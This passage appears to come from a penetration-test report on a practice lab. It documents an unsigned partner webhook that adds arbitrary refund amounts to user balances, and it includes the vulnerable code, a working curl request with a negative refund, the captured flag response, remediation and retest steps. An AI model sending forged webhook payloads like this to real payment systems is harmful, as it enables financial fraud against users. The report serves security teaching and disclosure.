This endpoint models an inbound webhook from a third-party payment partner. It reads an `X-Partner-Signature` header but never actually verifies it against a shared secret, and applies the payload's fields (notably `refundAmount`) directly to the target user's balance with no schema validation — accepting negative values, unbounded magnitudes, or unexpected types without question. A caller with no relationship to the real partner can send an arbitrary payload and have it trusted exactly as if it had come from the legitimate partner integration.

Evidence

Vulnerable code (`pages/api/partner/webhook.js`):

```
// BUG: signature header exists for show, but is never verified.
const _unverifiedSignature = req.headers["x-partner-signature"];

const { userId, refundAmount, note } = req.body || {};
const user = users.find((u) => u.id === Number(userId));
...
const amount = Number(refundAmount) || 0;   // BUG: no bound, can be negative
user.balance = +(user.balance + amount).toFixed(2);
```

Request (no valid partner signature, arbitrary negative refund):

```
curl -s -X POST https://cybersecurity-practical-labs.vercel.app/api/partner/webhook \
  -H "Content-Type: application/json" \
  -d '{"userId":1,"refundAmount":-99999,"note":"hax"}'
```

Response (captured during verification testing):

```
{
  "updatedBalance": -99949,
  "note": "Webhook payload applied with no signature verification and no schema validation. FLAG{unsafe-consumption-of-third-party-api}"
}
```

Success marker observed: `FLAG{unsafe-consumption-of-third-party-api}`

Steps to Reproduce

1. Send `POST /api/partner/webhook` with any `userId`, an arbitrary (including negative or very large) `refundAmount`, and no valid `X-Partner-Signature`.
2. Observe the server applies the value directly to the target account's balance and returns `200 OK`, with no verification that the request genuinely originated from the partner.
3. Re-fetch the target user's profile (via VAPT-2026-001) to confirm the balance change persisted.

Security Impact

An attacker with no legitimate relationship to the real payment partner can arbitrarily manipulate any user's account balance in either direction — crediting themselves funds or driving other users' balances negative — purely because the application extends the same trust to the request's data as it would to a cryptographically verified partner call. This is a direct financial-integrity failure.

Recommended Remediation

- Verify the webhook signature against a securely stored shared secret (e.g. HMAC-SHA256 over the raw request body) before processing any payload, and reject unsigned or incorrectly signed requests.
- Apply strict schema validation to the payload (type, range, and sign checks on `refundAmount`) and reject anything outside expected bounds.
- Implement replay protection (timestamp + nonce) so a captured valid payload cannot be resent later.
- Treat any data received from a third-party API or webhook as untrusted input requiring the same validation rigor as direct user input.

Retest Procedure

Repeat the request post-remediation without a valid signature; the server must reject it with `401 Unauthorized` and must not modify any balance. Repeat with a correctly computed signature but an out-of-range `refundAmount`; the server must reject it with a validation error.

Confirm a correctly signed, in-range payload is still processed successfully.

3. Appendix A — Reconnaissance Screenshot

The following screenshot was captured during the reconnaissance phase and shows the application's public-facing dashboard, which enumerates the ten intended challenge areas and the seeded test credentials used throughout this assessment.



Figure 1 — Application landing page at https://cybersecurity-practical-labs.vercel.app/, showing seeded test accounts and the published (and, per VAPT-2026-009, incomplete) API documentation reference.

> Further exploitation evidence in this report (Section 2) was captured as formatted request/response pairs rather than browser screenshots, consistent with the nature of direct API testing via curl/jq rather than browser-rendered UI interaction. Testers reproducing these findings with Burp Suite or Postman should capture proxy-history or response-pane screenshots for each finding as part of their own report to supplement this evidence format.